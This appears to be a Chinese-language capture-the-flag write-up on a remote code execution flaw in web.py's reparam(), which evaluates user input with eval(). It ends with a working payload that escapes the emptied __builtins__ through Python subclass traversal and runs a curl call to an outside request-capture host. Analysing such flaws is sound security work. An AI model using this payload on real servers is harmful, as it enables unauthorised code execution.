如 Remote Code Execution in Web.py framework | Security et alii 提到,以下這塊 WebPy 的程式碼會出問題:
def reparam(string_, dictionary):
"""
Takes a string and a dictionary and interpolates the string
using values from the dictionary. Returns an `SQLQuery` for the result.
>>> reparam("s = $s", dict(s=True))
<sql: "s = 't'">
>>> reparam("s IN $s", dict(s=[1, 2]))
<sql: 's IN (1, 2)'>
"""
dictionary = dictionary.copy() # eval mucks with it
# disable builtins to avoid risk for remote code exection.
dictionary['__builtins__'] = object()
vals = []
result = []
for live, chunk in _interpolate(string_):
if live:
v = eval(chunk, dictionary)
result.append(sqlquote(v))
else:
result.append(chunk)
return SQLQuery.join(result, '')
此函式會被 _where()
query()
gen_clause()
呼叫。由於直接試着對使用者輸入做 eval()
,故可以用這個來達成 RCE。但我們如果實際上試着下的話,會發現。
dictionary = dictionary.copy() # eval mucks with it
# disable builtins to avoid risk for remote code exection.
會被這裏擋住,所以不能 eval("__import__('system').system('ls')")
。
但 Python 的一個「好處」是,有超過一種方法能做這種事情。
在 Security et alii 的文章中,是沒有這塊的。這是因為 webpy 0.39 是修成上面那樣,然後數個月後才完全阻隔掉這個問題。Python 有一種特性,就是我們可以使用 magic method 去亂引入東西。
參考題目原碼,在 method = p
時會呼叫 get_posts(),再者是 webpy.db.select
-> webpy.db.reparam
。故我們若傳類似的東西進去,就可以打 RCE:
"m=p&l=${[item for item in [].__class__.__bases__[0].__subclasses__() if item.__name__=='catch_warnings' ][0]()._module.__builtins__['__import__']('os').system('curl putsreq.com/x')}'}"